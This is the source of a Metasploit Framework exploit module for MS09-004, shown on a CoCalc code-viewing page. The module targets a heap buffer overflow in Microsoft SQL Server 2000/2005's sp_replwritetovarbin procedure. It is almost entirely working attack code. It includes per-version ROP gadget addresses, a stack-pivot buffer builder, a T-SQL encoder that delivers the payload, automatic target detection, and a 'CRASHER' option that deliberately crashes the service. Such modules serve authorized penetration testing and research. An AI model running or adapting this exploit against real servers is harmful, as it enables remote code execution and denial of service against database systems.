CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
11
def initialize(info = {})
12
13
super(update_info(info,
14
'Name' => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
15
'Description' => %q{
16
A heap-based buffer overflow can occur when calling the undocumented
17
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
18
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
19
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
20
Microsoft patched this vulnerability in SP3 for 2005 without any public
21
mention.
22
23
An authenticated database session is required to access the vulnerable code.
24
That said, it is possible to access the vulnerable code via an SQL injection
25
vulnerability.
26
27
This exploit smashes several pointers, as shown below.
28
29
1. pointer to a 32-bit value that is set to 0
30
2. pointer to a 32-bit value that is set to a length influenced by the buffer
31
length.
32
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
33
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
34
displacement is 0x10. The address of our buffer is conveniently stored in
35
ecx when this instruction is executed.
36
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
37
a displacement of 4. This pointer is not used by this exploit.
38
39
This particular exploit replaces the previous dual-method exploit. It uses
40
a technique where the value contained in ecx becomes the stack. From there,
41
return oriented programming is used to normalize the execution state and
42
finally execute the payload via a "jmp esp". All addresses used were found
43
within the sqlservr.exe memory space, yielding very reliable code execution
44
using only a single query.
45
46
NOTE: The MSSQL server service does not automatically restart by default. That
47
said, some exceptions are caught and will not result in terminating the process.
48
If the exploit crashes the service prior to hijacking the stack, it won't die.
49
Otherwise, it's a goner.
50
},
51
'Author' => [ 'jduck' ],
52
'License' => MSF_LICENSE,
53
'References' =>
54
[
55
[ 'OSVDB', '50589' ],
56
[ 'CVE', '2008-5416' ],
57
[ 'BID', '32710' ],
58
[ 'MSB', 'MS09-004' ],
59
[ 'EDB', '7501' ]
60
],
61
'DefaultOptions' =>
62
{
63
'EXITFUNC' => 'seh',
64
},
65
'Payload' =>
66
{
67
'Space' => 512,
68
'BadChars' => "", # bad bytes get encoded!
69
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
70
'DisableNops' => true
71
},
72
'Platform' => 'win',
73
'Privileged' => true,
74
'Targets' =>
75
[
76
# auto targeting!
77
[ 'Automatic', { } ],
78
79
#
80
# Individual targets
81
#
82
[
83
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
84
# Aug 6 2000 00:57:48
85
'MSSQL 2000 / MSDE SP0 (8.00.194)',
86
{
87
'Num' => 32, # value for "start_offset"
88
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
89
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
90
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
91
'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)
92
'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]
93
'Disp' => 0x08, # displacement on call [ecx+disp] used
94
'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret
95
'Popped' => 0x4, # byte count popped in above (before ret)
96
'Offset' => 0x28, # offset to the new stack!
97
'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)
98
'Ret' => 0x0041c9a2 # jmp esp
99
},
100
],
101
102
[
103
# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)
104
# May 23 2001 00:02:52
105
'MSSQL 2000 / MSDE SP1 (8.00.384)',
106
{
107
'Num' => 32, # value for "start_offset"
108
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
109
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
110
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
111
'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)
112
'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]
113
'Disp' => 0x34, # displacement on call [ecx+disp] used
114
'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
115
'Popped' => 0x8, # byte count popped in above (before ret)
116
'Offset' => 0x28, # offset to the new stack!
117
'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)
118
'Ret' => 0x004caa15 # jmp esp
119
},
120
],
121
122
[
123
# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
124
# Nov 19 2001 13:23:50
125
'MSSQL 2000 / MSDE SP2 (8.00.534)',
126
{
127
'Num' => 32, # value for "start_offset"
128
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
129
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
130
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
131
'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)
132
'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]
133
'Disp' => 0x34, # displacement on call [ecx+disp] used
134
'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
135
'Popped' => 0x8, # byte count popped in above (before ret)
136
'Offset' => 0x28, # offset to the new stack!
137
'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)
138
'Ret' => 0x004ca984 # jmp esp
139
},
140
],
141
142
[
143
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
144
# Dec 17 2002 14:22:05
145
'MSSQL 2000 / MSDE SP3 (8.00.760)',
146
{
147
'Num' => 32, # value for "start_offset"
148
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
149
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
150
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
151
'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)
152
'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]
153
'Disp' => 0x34, # displacement on call [ecx+disp] used
154
'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
155
'Popped' => 0x8, # byte count popped in above (before ret)
156
'Offset' => 0x28, # offset to the new stack!
157
'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)
158
'Ret' => 0x0043fa97 # jmp esp
159
},
160
],
161
162
[
163
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
164
# May 3 2005 23:18:38
165
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
166
{
167
'Num' => 32, # value for "start_offset"
168
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
169
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
170
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
171
'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)
172
'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]
173
'Disp' => 0x14, # displacement on call [ecx+disp] used
174
'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
175
'Popped' => 0x4, # byte count popped in above (before ret)
176
'Offset' => 0x20, # offset to the new stack!
177
'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)
178
'Ret' => 0x0047c89d # jmp esp
179
},
180
],
181
182
[
183
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
184
# Oct 14 2005 00:33:37
185
'MSSQL 2005 SP0 (9.00.1399.06)',
186
{
187
'Num' => 32, # value for "start_offset"
188
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
189
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
190
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
191
'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)
192
'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]
193
'Disp' => 0x50, # displacement on call [ecx+disp] used
194
'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret
195
'Popped' => 0x4, # byte count popped in above (before ret)
196
'Offset' => 0x20, # offset to the new stack!
197
'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)
198
'Ret' => 0x0112c2c7 # jmp esp
199
},
200
],
201
202
[
203
# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
204
# Apr 14 2006 01:12:25
205
'MSSQL 2005 SP1 (9.00.2047.00)',
206
{
207
'Num' => 32, # value for "start_offset"
208
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
209
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
210
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
211
'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)
212
'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]
213
'Disp' => 0x52, # displacement on call [ecx+disp] used
214
'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret
215
'Popped' => 0x4, # byte count popped in above (before ret)
216
'Offset' => 0x20, # offset to the new stack!
217
'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)
218
'Ret' => 0x011b204c # jmp esp
219
},
220
],
221
222
[
223
# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
224
# Feb 9 2007 22:47:07
225
'MSSQL 2005 SP2 (9.00.3042.00)',
226
{
227
'Num' => 32, # value for "start_offset"
228
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
229
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
230
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
231
'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)
232
'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]
233
'Disp' => 0x52, # displacement on call [ecx+disp] used
234
'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret
235
'Popped' => 0x4, # byte count popped in above (before ret)
236
'Offset' => 0x20, # offset to the new stack!
237
'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)
238
'Ret' => 0x010a5379 # jmp esp
239
},
240
],
241
242
[ 'CRASHER', { } ]
243
],
244
'DefaultTarget' => 0,
245
'DisclosureDate' => '2008-12-09'
246
))
247
248
end
249
250
def check
251
# the ping to port 1434 method has two drawbacks...
252
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
253
# #2, it doesn't give an accurate version number (sp/os)
254
255
# since we need to have credentials for this vuln, we just login and run a query
256
# to get the version information
257
if not (version = mssql_query_version())
258
return Exploit::CheckCode::Safe
259
end
260
print_status("@@version returned:\n\t" + version)
261
262
# Any others?
263
return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)
264
return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)
265
return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)
266
return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)
267
return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)
268
return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)
269
return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)
270
return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)
271
return Exploit::CheckCode::Safe
272
end
273
274
def exploit
275
276
mytarget = nil
277
if target.name =~ /Automatic/
278
print_status("Attempting automatic target detection...")
279
280
version = mssql_query_version
281
fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version
282
283
if (version =~ /8\.00\.194/)
284
mytarget = targets[1]
285
elsif (version =~ /8\.00\.384/)
286
mytarget = targets[2]
287
elsif (version =~ /8\.00\.534/)
288
mytarget = targets[3]
289
elsif (version =~ /8\.00\.760/)
290
mytarget = targets[4]
291
elsif (version =~ /8\.00\.2039/)
292
mytarget = targets[5]
293
elsif (version =~ /9\.00\.1399\.06/)
294
mytarget = targets[6]
295
elsif (version =~ /9\.00\.2047\.00/)
296
mytarget = targets[7]
297
elsif (version =~ /9\.00\.3042\.00/)
298
mytarget = targets[8]
299
end
300
301
if mytarget.nil?
302
fail_with(Failure::NoTarget, "Unable to determine target")
303
else
304
print_status("Automatically detected target \"#{mytarget.name}\"")
305
end
306
else
307
mytarget = target
308
end
309
310
sqlquery = %Q|declare @i int,@z nvarchar(4000)
311
set @z='declare @e int,@b varbinary,@l int;'
312
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
313
exec sp_executesql @z|
314
315
# just crash it with a pattern buffer if the CRASHER target is selected..
316
if mytarget.name == 'CRASHER'
317
sploit = Rex::Text.pattern_create(2048)
318
print_status("Attempting to corrupt memory to cause an exception!")
319
num = 32
320
else
321
# trigger the memory corruption
322
num = mytarget['Num']
323
vt_off = mytarget['VtOff']
324
vt_disp = mytarget['VtDisp']
325
vtable = mytarget['Vtable']
326
ecx_disp = mytarget['Disp']
327
esp_off = mytarget['Offset']
328
hijack_esp = mytarget['ecx2esp']
329
first_esp = mytarget['Popped']
330
fix_esp = mytarget['FixESP']
331
writable = mytarget['Writable']
332
corruptable_bytes = 0x44
333
334
# make sploit buff
335
sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
336
#sploit = Rex::Text.pattern_create(sz)
337
sploit = rand_text_alphanumeric(sz)
338
339
# remove displacement! (using call [ecx+displacement])
340
vtable_off = (num + vt_off)
341
sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
342
343
# stack -> heap
344
hijack_off = vtable_off + ecx_disp
345
sploit[hijack_off,4] = [hijack_esp].pack('V')
346
# becomes eax on mssql 2ksp4 (prevent crash)
347
sploit[(vtable_off-4),4] = [writable].pack('V')
348
349
# becomes eip after esp hijack
350
fixesp_off = vtable_off + first_esp
351
sploit[fixesp_off,4] = [fix_esp].pack('V')
352
353
# rest of magic stack (disable DEP?)
354
stack_off = vtable_off + esp_off
355
stack = []
356
stack << mytarget['Ret']
357
stack = stack.pack('V*')
358
# jump over the stuff that gets corrupted
359
stack << "\xeb" + [corruptable_bytes].pack('C')
360
stack << rand_text_alphanumeric(corruptable_bytes)
361
stack << payload.encoded
362
sploit[stack_off,stack.length] = stack
363
364
# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
365
sploit[hijack_off,4] = [hijack_esp].pack('V')
366
367
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
368
end
369
370
# encode chars that get modified
371
enc = mssql_encode_string(sploit)
372
373
# put the number in (start offset)
374
runme = sqlquery.gsub(/%NUM%/, num.to_s)
375
runme.gsub!(/%STUFF%/, enc)
376
377
# go!
378
if !mssql_login_datastore
379
fail_with(Failure::NoAccess, "Unable to log in!")
380
end
381
begin
382
mssql_query(runme, datastore['VERBOSE'])
383
rescue ::Errno::ECONNRESET, EOFError
384
print_error("Error: #{$!}")
385
end
386
387
handler
388
disconnect
389
end
390
391
392
def mssql_str_to_chars(str)
393
ret = ""
394
str.unpack('C*').each do |ch|
395
ret += "+" if ret.length > 0
396
ret += "char("
397
ret << ch.to_s
398
ret += ")"
399
end
400
return ret
401
end
402
403
404
def mssql_encode_string(str)
405
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
406
407
enc = ""
408
in_str = true
409
str.unpack('C*').each do |ch|
410
# double-double single quotes
411
if ch == 0x27
412
if not in_str
413
enc << "+'"
414
in_str = true
415
end
416
enc << ch.chr * 4
417
next
418
end
419
420
# double backslashes
421
if ch == 0x5c
422
if not in_str
423
enc << "+'"
424
in_str = true
425
end
426
enc << ch.chr * 2
427
next
428
end
429
430
# convert any bad stuff to char(0xXX)
431
if ((idx = badchars.index(ch.chr)))
432
enc << "'" if in_str
433
enc << "+char(0x%x)" % ch
434
in_str = false
435
else
436
enc << "+'" if not in_str
437
enc << ch.chr
438
in_str = true
439
end
440
end
441
enc << "+'" if not in_str
442
return enc
443
end
444
445
446
def mssql_query_version
447
begin
448
logged_in = mssql_login_datastore
449
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
450
return nil
451
end
452
453
if !logged_in
454
fail_with(Failure::NoAccess, "Invalid SQL Server credentials")
455
end
456
res = mssql_query("select @@version", datastore['VERBOSE'])
457
disconnect
458
459
return nil if not res
460
if res[:errors] and not res[:errors].empty?
461
errstr = ""
462
res[:errors].each do |err|
463
errstr << err
464
end
465
fail_with(Failure::Unknown, errstr)
466
end
467
468
if not res[:rows] or res[:rows].empty?
469
return nil
470
end
471
472
return res[:rows][0][0]
473
end
474
end
475
476